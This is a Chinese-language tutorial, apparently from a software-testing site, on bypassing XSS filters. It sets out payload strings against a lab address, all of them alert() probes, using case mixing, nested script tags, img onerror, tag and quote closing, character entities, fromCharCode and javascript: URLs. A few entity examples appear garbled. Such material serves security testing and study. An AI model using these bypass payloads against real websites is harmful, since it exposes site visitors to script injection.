最常见的XSS检测代码:
<script>alert(1)</script> // 调用JavaScript语句 <img src=x onerror=alert(1)> // src是错误的 就会调用error函数 <a href=javascript:alert(1)> // 点击a即可触发
实际应用中web程序往往会通过一些过滤规则来防止代有恶意代码的用户输入被显示。当上述代码被注入到输入框或者URL参数中时,可能会成功也可能会失败,如果失败了,并不意味着网站不存在XSS漏洞,需要对其进行绕过等方式发掘安全漏洞。
这里,给大家总结一些XSS绕过方法。
1、大小写绕过
某些网站仅仅过滤了<script>标签,而忽略了大小写替换同样可以造成浏览器触发XSS。具体方式为测试语句:
http://192.168.1.102/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
2、利用过滤后返回语句再次构成攻击语句来绕过
当网站设置过滤规则时,可以触发XSS的关键字(<script>)被进行了过滤,在查看网页源代码时,script标签被去除掉了,于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在),像这样:
<div>http://192.168.1.102/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt></div><div></div>
3、尝试使用其他标签来构造XSS
当script标签被完全过滤时,这时可以尝试使用其它标签来构造XSS。
这里以<img>标签进行说明:
http://192.168.1.102/xss/example4.php?name=<img src='w.123' onerror='alert("hey!")'>
4、主动闭合标签
可以通过手动闭合掉引号标签等方式来达到测试XSS漏洞的目的。
闭合标签
如果在查看页面的源代码的过程中,发现输入的字符串或者输入字符串的部分,那么就可以设法通过闭合字符串的方式来测试XSS漏洞。
比如,我们所输入的字符串被放入到<input>标签中(<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'/>),那么我们可以修改输入来闭合<input>标签,执行script脚本。
当我们输入为'/><SCRIPT>alert("XSS")</SCRIPT>,可以发现我们的代码执行了,说明此处存在XSS漏洞。
绕过引号
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似add_slashes的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:
<INPUT type="text"value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过html的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,因为这被解释为html标签,但是,你如果要用,可以用下面的来代替。
使用"或者"来代替我们的双引号,有时候可以绕过过滤。例子:
<script>alert("XSS")</script> <script>alert("XSS")</script> <script>alert(&XSS&)</script>
如果这都被过滤了,那我们可以使用JavaScript的fromCharCode函数,这个函数把指定的Unicode值转换成字符串。
比如:
<script>alert("XSS")</script> <script>alert(String.fromCharCode(88,83,83))</script> <INPUT type="text"value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'>
5、通过组合编码方式来测试XSS漏洞
在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。
当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:<被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段。如:
<a href="javascript:alert(1)"></a>
被解释后为<a href="javascript:alert(1)"></a>,可以弹窗。
总之,在进行XSS注入测试的时候要关注标签的闭合,这跟sql语句的闭合是差不多的,不过这个变成了HTML标签。此外思路要发散,通过语句跟绕过方式的不同搭配来构造payload,比如说当浏览器对script进行了转义的时候,我们可以尝试用其他标签来构造,当on被转义的时候,我们可以采用伪协议的方式构造即?javascript:,总之在构建payload的时候要发散思维。
作者:王超
来源:http://www.51testing.com/html/86/n-4479786.html